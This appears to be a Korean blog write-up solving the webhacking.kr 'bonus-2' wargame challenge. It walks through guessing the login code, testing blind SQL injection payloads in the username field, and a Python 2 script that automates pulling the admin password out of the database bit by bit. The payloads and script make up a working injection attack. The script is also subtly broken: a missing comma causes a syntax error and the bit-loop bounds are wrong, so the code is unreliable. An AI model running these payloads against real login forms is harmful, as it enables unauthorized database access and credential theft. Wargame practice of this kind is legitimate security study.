save image



<form method=post action=index.php>
<table border=1 cellpadding=5 cellspacing=0>
<tr><td>username</td><td><input name=uuid type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr>
</form>

<p>

</table><br><br>
<pre>
<a style=background:silver;color:red;width:400;><b>HINT</b></a>
<a style=background:white;color:black;width:400;>
echo("hi! $id");
echo("your password is $pw");

if($id=="admin") echo("good! Password is $solution");
</a>
</pre>

</body>
</html>



힌트를 보면 알 수 있듯, $id == admin 이면 해결된다.

일단 회원가입을 아무렇게 하고 로그인해보자. (ID: d, PW: d)


hi! d

user key : 97864a79b79c692a8f1179fc3642692a


위와 같이 아이디와 md5가 출력된다. 처음에는 d 값 md5인 줄 알았으나, md('d')와 다른 값이길래

md5 복호화 사이트에서 복호화한 결과 dzombie라는 문자열이 나왔다. md5(concat('d','zombie')) 이런식인 것 같다.



// 1번째 시도 

id : admin // pw : 1 을 입력해보았다.  -> Wrong! 출력


// 2번째 시도

id : admin' and 1=1 # // pw : 1 -> Wrong password! 출력


2번째 시도에서 살짝 의문점이 들 것이다.

webhacking.kr 은 phpinfo()를 보면 magic_quotes_gpc On이다. 

그런데 '를 입력하면 SQL 문법오류가 발생한다. 


이는 추측컨대, 해당 디렉터리에 .htaccess  파일을 통해 다음과 같이 설정한 것 같다.

php_flag magic_quotes_gpc off




다시 문제를 풀어보자. 

대부분 로그인 값을 처리할 때 다음과 같은 쿼리를 사용한다.


SELECT * FROM users WHERE id= '' and pw ='' 


1번째 시도는 당연 위에 쿼리를 수행한 결과 레코드가 반환되지 않는다. 따라서 Wrong! 을 출력할 것이다.

하지만 2번째 시도는 해당 쿼리가 id=admin 인 레코드가 반환되어야한다. 하지만 Wrong password! 가 출력되었다. 

이는 다음과 같이 추측할 수 있다.


<?
include "./lib/db_connect.php";
$connect = dbconn();
$id = $_POST[id];
$pw = $_POST[pw];

$q ="SELECT * FROM users WHERE id='".$id."' and pw='".md5($pw.'zombie')."'";
$row = mysql_fetch_array(mysql_query($q,$connect));
if($row){
	if($row[pw] != md5($pw.'zombie')){
		echo "Wrong password";
		exit();	
	}
	echo "hi! ".$id;

}else{
	echo "Wrong!";
	exit();
}

admin 레코드를 추출 후 DB에 저장된 비밀번호와 입력된 비밀번호가 같은지 한번 더 검사해

틀리면 Wrong password! 가 출력되는 것이다. 즉, 아이디와 비밀번호가 모든 맞아야 admin 계정으로 로그인이 된다.

따라서 admin' union select 1#와 같은 union SQL 인젝션 공격이 불가능하다. 

또한 echo "hi! ".$row[id] 일지 echo "hi ".$id 일지에 따라 union SQL 인젝션 공격 가능 유무가 결정된다.


일단 여기까지 생각해두고 회원가입(join)을 통해 우회가 가능한지 살펴보자.

id를 admin으로 만들어야하므로 회원가입할 때 admin으로 가입하려 시도했다.


Username already exists

back


이미 존재한다고 출력된다.

아이디 중복검사는 어떻게 이루어질까? 생각해보았다.

$q = "SELECT count(*) from users WHERE id='". $id ."' ";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
   echo "Username aready exsits<br>";

이때 주의할 점은 mysql_num_rows() 함수는 실패하면 -1(False) 값을 반환하기 때문에 if($row_count[0]){} 이런식으로 하면 안됨.

$q = "SELECT * from users WHERE id='". $id ."'";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
	echo "Username aready exsits<br>";

두 경우로 추측해볼 수 있다.(개인적인 생각)

우선 admin' 로 가입해 싱글쿼터가 이스케이프 되는지 봤다.

ID : admin' // PW : 123


하지만 로그인이 안된다. ID : admin\' // pw : 123 으로 시도했더니 로그인이 됐다.

이는 싱글쿼터를 이스케이프한다는 말이다. 


근데 이상한 것은 좀전에 .htaccess 파일로 php_flag magic_quotes_gpc off 로 저장돼

싱글쿼터를 이스케이프 처리하지 않는다고 했는데 이게 뭔 상황인가 했다.

중복 검사를 하고 데이터베이스에 저장할 때 mysql_real_escape_string($id) 와 같이 이스케이프 함수를 사용해

처리하는 것 같다.


$id = mysql_real_escape_string($id);

$q ="INSERT INTO users (id, pw) VALUES('$id', '$pw')";


따라서 회원가입 페이지를 우회하여 admin으로 회원가입하는 방법은 불가능할 것 같다.

또한 우회가 가능하다 하더라도 PRIMARY KEY로 id가 등록돼 있을 것 같다고 판단함. (<-- 이런 생각은 좋지 못함.. 문제풀고 시도해볼 예정)

일단 냅두고 다시 로그인을 우회하여 문제를 풀어보기로 했다.


앞서 다음과 같이 입력했을 때 Wrong password! 라는 문자열이 출력됐다. 

ID : admin' and 1=1# 

PW : 123


ID: admin' and 1=0#

PW : 123

또한, 위와 같이 거짓 쿼리로 만들 경우 Wrong! 이 출력된다. 

따라서 참/거짓을 구분할 수 있는 Blind SQL 인젝션 공격이 가능하다. 



ID 값은 admin으로 주어졌으니, PW를 구해보자. 

그런데 칼럼을 정확히 모른다. 일단 게싱으로 admin' and length(pw)=32# 를 ID 입력폼에 입력했더니

Wrong password! 가 출력됐다. 따라서 PW가 비밀번호 칼럼인 것을 확인했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "Wrong password!"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssworrrddd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#    password length   
##################################################################
blind_target_url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
 
for i in xrange(1,50):
 
    injectParams = "admin' and length(pw)="+str(i)+"#"
    params = {'uuid' : injectParams , 'pw' : 'rap1er'}
    params = urllib.urlencode(params)
    print "{} ".format(i)+params
    req = urllib2.Request(blind_target_url, params ,headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(i)
 
 
##################################################################
#     password string 
##################################################################
count=0
password = ""
for i in xrange(1, pw_len+1):
    bit_str = ""
    for j in xrange(18):
        injectParams = "admin' and substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1)=0#".format(i, j)      
        params = {'uuid' : injectParams, 'pw' : 'rap1er'}
        params = urllib.urlencode(params)
        req = urllib2.Request(blind_target_url, params, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j)
            bit_str += '0'
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j)
            bit_str +='1'
 
    password += chr(int(bit_str,2))
    print "{}'s password : ".format(i)+ password
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs




save image



+ Recent posts